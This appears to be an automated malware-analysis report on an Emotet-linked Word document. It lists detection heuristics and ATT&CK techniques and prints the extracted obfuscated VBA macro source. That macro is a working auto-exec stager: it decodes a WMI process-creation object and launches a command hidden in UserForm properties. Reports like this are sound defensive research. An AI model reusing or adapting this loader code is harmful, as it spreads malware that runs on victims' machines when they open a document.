MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.EmotetIOS-9402070-0', strongly suggesting the Emotet family. Critical heuristics indicate a VBA UserForm hidden-property command stager that executes code via CreateObject, typical for Emotet's downloader functionality. The Document_Open macro is designed to automatically trigger this malicious execution upon opening the document.
Heuristics 7
-
ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9919 bytes |
SHA-256: 5e39aa5d7205e316b09f451a17e4f792b8d9483a2ad5693caedd7ab863bde3aa |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "teowqueawpakjeilmoh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
vuuzceuxzoiw
End Sub
Attribute VB_Name = "siegreugdiefloolyaut"
Attribute VB_Base = "0{CD27D2F6-F819-47F2-8E64-25E64DB6553F}{EA91C32C-0044-4A00-9849-32ED2D68AB76}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "furchoewkuw"
Function vuuzceuxzoiw()
siedgoimkoervubzaojseuqu = Chr(siegreugdiefloolyaut.Zoom + 2 + 2 + 2 + 6 + 3)
Dim FCcbSfXm As Date
boathkoozreodkipmol = "$12387ghbqhjwg2781vbjkKKb2winm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2gm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2t" + siedgoimkoervubzaojseuqu + "$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2:wi$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2n32_$12387ghbqhjwg2781vbjkKKb2" + siegreugdiefloolyaut.charchezchuunkiadroogjauw + "roc$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2es$12387ghbqhjwg2781vbjkKKb2s"
Dim cgaNo As String
cgaNo = Replace$("l6ÆmYk0ÓFMeBnqVGS6ÒGNt", "l6ÆmYk0ÓFMeB", "sw7ÑQNomd")
meosfeoptheefthawfaosmouc = diad(boathkoozreodkipmol)
Dim qVcuRkJreP As Object
Set theirniemceid = CreateObject(meosfeoptheefthawfaosmouc)
Dim lWiD As Byte
caoknoavyeiccug = siegreugdiefloolyaut.choququeichvoafpeoy.ControlTipText
Dim OTA4Ït1ÚFEt As Integer
OTA4Ït1ÚFEt = 4
Do While OTA4Ït1ÚFEt < 4 + 9
OTA4Ït1ÚFEt = OTA4Ït1ÚFEt + 2: DoEvents
Loop
chialyaopdeah = meosfeoptheefthawfaosmouc + siedgoimkoervubzaojseuqu + siegreugdiefloolyaut.zuummukyooqu.ControlTipText + caoknoavyeiccug
Dim kfTvg As Boolean
neihnaigfiechrauthceovxud = chialyaopdeah + siegreugdiefloolyaut.charchezchuunkiadroogjauw
Dim ZIh As String
ZIh = Replace$("LUXCnATOCMj3ÚK8âgVUKK", "LUXCnATOC", "hnikNj")
Set yoijzoecchaithvaufweazchuay = xiaxwiekxaizbeeczekgiog(neihnaigfiechrauthceovxud)
Dim kEFMeB As String
kEFMeB = Replace$("oBUVcu3ÜfYMZu", "oBU", "Css")
Dim SpYwyWVL As Boolean
R = Array(N, theirniemceid. _
Create(thaovveid, moefleovjaeyzefpoumseet, yoijzoecchaithvaufweazchuay))
Dim BZIhfU As Boolean
End Function
Function xiaxwiekxaizbeeczekgiog(yuuquveenbeukxaupboekfioth)
Set xiaxwiekxaizbeeczekgiog = CreateObject(yuuquveenbeukxaupboekfioth)
xiaxwiekxaizbeeczekgiog _
. _
showwindow = (deithsaidtuudvaup + siomceoquwaoxhauz) + (faopthuaqu + zeunpothjouwgeunkeisyeil)
Dim WaT1Ä As Integer
WaT1Ä = 7
Do While WaT1Ä < 7 + 8
WaT1Ä = WaT1Ä + 1: DoEvents
Loop
End Function
Function diad(kiowwaulsiox)
biwdoap = kiowwaulsiox
Dim CgR As String
CgR = Replace$("ahwG4ÏbmiIGgfVVa", "ahwG4Ï", "facqb")
kaitxeepneomjeochtaowmep = Split(biwdoap, "$12387ghbqhjwg2781vbjkKKb2")
Dim kX6Å6ÊSv6Û7ÊI As String
kX6Å6ÊSv6Û7ÊI = Replace$("Wo2áZSYIvyl6Ëc8", "Wo2áZS", "eIroHmnBW")
giapfoth = posx + Join(kaitxeepneomjeochtaowmep, posx)
Dim mnsIBRYFOu As String
mnsIBRYFOu = Replace$("V4ÜYNMoDtJHyYIF", "V4ÜYNMoDtJ", "U3ÑRm")
diad = giapfoth
Dim JKR As String
JKR = Replace$("dGcnGlYoQP1ÈjJPKM", "dGcnGlY", "WfNkTHqfe")
End Function
Function thaovveid()
io = siegreugdiefloolyaut.heof.Pages(1).ControlTipText
Dim EJCoQlgkOA As Integer
EJCoQlgkOA = 5
Do While EJCoQlgkOA < 5 + 3
EJCoQlgkOA = EJCoQlgkOA + 6: DoEvents
Loop
thaovveid = diad(io)
End Function
' Processing file: /opt/analyzer/scan_staging/4e98db2096544a5b94bbd32a46721932.bin
' ===============================================================================
' Module streams:
' Macros/VBA/teowqueawpakjeilmoh - 1369 bytes
' Line #0:
' LineCont 0x0004 02 00 00 00
' FuncDefn (Sub teowqueawpakjeilmoh())
' Line #1:
' ArgsCall Document_open 0x0000
' Line #2:
' EndSub
' Line #3:
' Macros/VBA/siegreugdiefloolyaut - 1201 bytes
' Macros/VBA/furchoewkuw - 5397 bytes
' Line #0:
' Func
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.